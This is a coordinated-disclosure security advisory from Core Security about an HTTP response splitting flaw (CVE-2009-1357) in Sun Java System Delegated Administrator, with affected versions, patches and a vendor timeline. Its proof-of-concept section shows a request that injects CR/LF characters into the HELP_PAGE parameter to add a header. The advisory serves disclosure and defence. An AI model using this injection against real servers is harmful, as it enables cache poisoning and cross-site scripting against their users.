HTTP Response Splitting vulnerability in Sun Delegated Administrator

Advisory ID Internal
CORE-2009-0114

1. Advisory Information

Title: HTTP Response Splitting vulnerability in Sun Delegated Administrator
Advisory ID: CORE-2009-0114
Date published: 2009-04-21
Date of last update: 2009-04-21
Vendors contacted: Sun Microsystems
Release mode: Coordinated release

2. Vulnerability Information

Class: HTTP response splitting
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 34643
CVE Name: CVE-2009-1357

3. Vulnerability Description

An HTTP Response Splitting vulnerability [1] [2] has been discovered in Sun Java System Delegated Administrator. HTTP Response Splitting occurs when an attacker has the possibility of injecting a carriage return (0x0D) or a line feed (0x0A) character sequence into the HTTP headers of the web server's response. This allows proxy cache-poisoning attacks that affect the proxy users base when requesting a web page that belongs to the affected domain, redirection attacks or other kind of Cross-Site Scripting attacks.

4. Vulnerable packages

4.1. Sparc Platform

  • Sun Java System Delegated Administrator 6.2.
  • Sun Java System Delegated Administrator 6.3.
  • Sun Java System Delegated Administrator 6.4 without patch 121581-20.

4.2. x86 Platform

  • Sun Java System Delegated Administrator 6.2.
  • Sun Java System Delegated Administrator 6.3.
  • Sun Java System Delegated Administrator 6.4 without patch 121582-20.

4.3. Linux Platform

  • Sun Java System Delegated Administrator 6.2.
  • Sun Java System Delegated Administrator 6.3.
  • Sun Java System Delegated Administrator 6.4 without patch 121583-20.

5. Non-vulnerable packages

  • Sun Java System Delegated Administrator 6.4 with patch 121581-20 (Sparc) or later.
  • Sun Java System Delegated Administrator 6.4 with patch 121582-20 (x86) or later.
  • Sun Java System Delegated Administrator 6.4 with patch 121583-20 (Linux) or later.

6. Vendor Information, Solutions and Workarounds

Sun Microsystems has published a Sun Alert for this issue. It has been assigned the ID 255928.

7. Credits

This vulnerability was discovered by the Security Consulting Services team from Core Security.

8. Technical Description / Proof of Concept Code

The parameter HELP_PAGE of the web application located at https://<server>/da/DA/Login is vulnerable to a response splitting vulnerability.

$ openssl s_client -connect <server>:443 GET /da/DA/Login?Login.HelpHREF=http://www.vulnerable-site.com/&com_sun_web_ui_popup=false&HELP_PAGE=/help/%0AX-Tag:%20Core%20Security%20Technologies%0A%0D&jato.pageSession= HTTP/1.1 Host: <server> HTTP/1.1 302 Moved Temporarily Server: Sun-Java-System-Web-Server/7.0 Date: Mon, 20 Apr 2009 18:21:48 GMT Cache-control: private Location: <server> X-Tag: Core Security Technologies Content-length: 0 Content-type: text/html

 

9. Report Timeline

  • 2009-01-14: Core Security Technologies notifies Sun Delegated Administrator Team of the vulnerability and sends technical details. Core asks the vendor an estimated date for the release of patches and fixes.
  • 2009-01-14: Sun Delegated Administrator Team responds they will investigate this issue and provide the expected timeframe for a fix as soon as possible.
  • 2009-01-21: Core asks the vendor an estimated date for the release of patches and fixes.
  • 2009-01-21: Sun engineering team responds they are working on other vulnerabilities reported by Core [3] and they are attempting to engage the proper engineering team for the DA server.
  • 2009-02-06: Sun engineering team has been investigating this issue and they are able to confirm that it is indeed a valid vulnerability.
  • 2009-02-16: Sun engineering team informs that they are still working on others flaws reported by Core [3], and they hope to have a more detailed update regarding the progress on the DA vulnerability shortly.
  • 2009-02-16: Core acknowledges previous email.
  • 2009-03-23: Vendor informs that the fix for Delegated Administrator Server is still on-going, and will likely not be ready by the end of March.
  • 2009-04-08: Vendor confirms that a fix for the Delegated Administrator is available. This fix is currently undergoing Sun standard testing. Vendor expects to be ready to publish the patch and the Sun Alert on Monday 20th April 2009.
  • 2009-04-17: Core asks Sun engineering team an URL for the Sun Alert and the DA affected versions for this vulnerability.
  • 2009-04-20: Sun kindly sends Core the requested information.
  • 2009-04-21: The advisory CORE-2009-0114 is published.

10. References

[1] http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf.
[2] http://www.webappsec.org/projects/threat/classes/http_response_splitting.shtml.
[3] Multiple vulnerabilities in Sun Calendar Express Web Server - www.coresecurity.com/core-labs/advisories/sun-calendar-express.

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs.

12. About Core Security 

Core Security develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. www.coresecurity.com

13. Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.